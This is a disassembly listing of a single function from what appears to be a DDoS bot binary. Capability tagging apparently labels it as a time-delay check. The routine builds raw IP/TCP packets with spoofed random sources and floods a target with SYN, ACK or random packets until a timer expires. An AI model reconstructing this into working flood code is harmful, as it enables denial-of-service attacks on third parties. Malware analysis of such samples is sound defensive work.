Function at 0x4132e5
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
push esi
push edi
and byte [ebp - 0x94], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x93]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x234]
push eax
push 0x202
call dword [0x4e34a8]
test eax, eax
je 0x413324
xor eax, eax
jmp 0x413723
push 1
push 0
push 0
push 0xff
push 3
push 2
call dword [0x4e35c8]
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0xffffffff
jne 0x413355
call dword [0x4e3490]
xor eax, eax
jmp 0x413723
mov dword [ebp - 0x238], 1
push 4
lea eax, [ebp - 0x238]
push eax
push 2
push 0
push dword [ebp - 0x28c]
call dword [0x4e350c]
cmp eax, 0xffffffff
jne 0x413396
push dword [ebp - 0x28c]
call dword [0x4e35bc]
call dword [0x4e3490]
xor eax, eax
jmp 0x413723
mov word [ebp - 0xa4], 2
push dword [ebp + 0x14]
call dword [0x4e3528]
mov word [ebp - 0xa2], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa0], eax
mov byte [ebp - 0x14], 0x45
push 0x28
call dword [0x4e3528]
mov word [ebp - 0x12], ax
mov word [ebp - 0x10], 1
and word [ebp - 0xe], 0
mov byte [ebp - 0xc], 0x80
mov byte [ebp - 0xb], 6
and word [ebp - 0xa], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push dword [ebp + 0x14]
call dword [0x4e3528]
mov word [ebp - 0x286], ax
call fcn.0041eb20
movzx eax, ax
cdq
mov ecx, 0x401
idiv ecx
push edx
call dword [0x4e3528]
mov word [ebp - 0x288], ax
push 0x12345678
call dword [0x4e3524]
mov dword [ebp - 0x284], eax
push str.ddos.syn
push dword [ebp + 0x10]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x413448
and dword [ebp - 0x280], 0
mov byte [ebp - 0x27b], 2
jmp 0x4134ae
push str.ddos.ack
push dword [ebp + 0x10]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x41346b
and dword [ebp - 0x280], 0
mov byte [ebp - 0x27b], 0x10
jmp 0x4134ae
push str.ddos.random
push dword [ebp + 0x10]
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4134ae
call fcn.0041eb20
cdq
push 3
pop ecx
idiv ecx
mov dword [ebp - 0x280], edx
call fcn.0041eb20
cdq
push 2
pop ecx
idiv ecx
test edx, edx
jne 0x4134a7
mov byte [ebp - 0x27b], 2
jmp 0x4134ae
mov byte [ebp - 0x27b], 0x10
mov byte [ebp - 0x27c], 0x50
push 0x4000
call dword [0x4e3528]
mov word [ebp - 0x27a], ax
and word [ebp - 0x276], 0
and dword [ebp - 0x264], 0
lea eax, [ebp - 0x240]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp + 0x18]
cdq
push edx
push eax
push dword [ebp - 0x23c]
push dword [ebp - 0x240]
call fcn.00423840
add eax, dword [ebp - 0x274]
adc edx, dword [ebp - 0x270]
mov dword [ebp - 0x26c], eax
mov dword [ebp - 0x268], edx
push 1
pop eax
test eax, eax
je 0x41370b
and word [ebp - 0x278], 0
call fcn.0041eb20
cdq
mov ecx, 0x3e9
idiv ecx
add edx, 0x3e8
push edx
call dword [0x4e3528]
mov word [ebp - 0x288], ax
call fcn.0041eb20
mov esi, eax
shl esi, 0x10
call fcn.0041eb20
or esi, eax
push esi
call dword [0x4e3528]
movzx eax, ax
mov dword [ebp - 0x284], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x290], eax
push dword [ebp - 0x290]
mov eax, dword [ebp + 0xc]
inc eax
mov dword [ebp + 0xc], eax
call dword [0x4e3524]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x25c], eax
and byte [ebp - 0x258], 0
mov byte [ebp - 0x257], 6
push 0x14
call dword [0x4e3528]
mov word [ebp - 0x256], ax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x260], eax
push 0x20
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.004205d0
add esp, 0xc
push 0x14
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004205d0
add esp, 0xc
push 0x34
lea eax, [ebp - 0x94]
push eax
call fcn.0040c9c4
pop ecx
pop ecx
mov word [ebp - 0x278], ax
push 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.004205d0
add esp, 0xc
push 0x14
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.004205d0
add esp, 0xc
push 4
push 0
lea eax, [ebp - 0x6c]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x28
lea eax, [ebp - 0x94]
push eax
call fcn.0040c9c4
pop ecx
pop ecx
mov word [ebp - 0xa], ax
push 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.004205d0
add esp, 0xc
push 0x10
lea eax, [ebp - 0xa4]
push eax
push 0
push 0x28
lea eax, [ebp - 0x94]
push eax
push dword [ebp - 0x28c]
call dword [0x4e3588]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x4136ca
call dword [0x4e34c4]
push eax
push str._DDoS_:_Send_error:___d_.
lea eax, [ebp - 0x58]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
call fcn.0040a845
pop ecx
push dword [ebp - 0x28c]
call dword [0x4e35bc]
call dword [0x4e3490]
xor eax, eax
jmp 0x413723
mov eax, dword [ebp - 0x264]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x264], eax
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x268]
jl 0x413706
jg 0x413704
mov eax, dword [ebp - 0x274]
cmp eax, dword [ebp - 0x26c]
jb 0x413706
jmp 0x41370b
jmp 0x41351f
push dword [ebp - 0x28c]
call dword [0x4e35bc]
call dword [0x4e3490]
mov eax, dword [ebp - 0x264]
pop edi
pop esi
leave
ret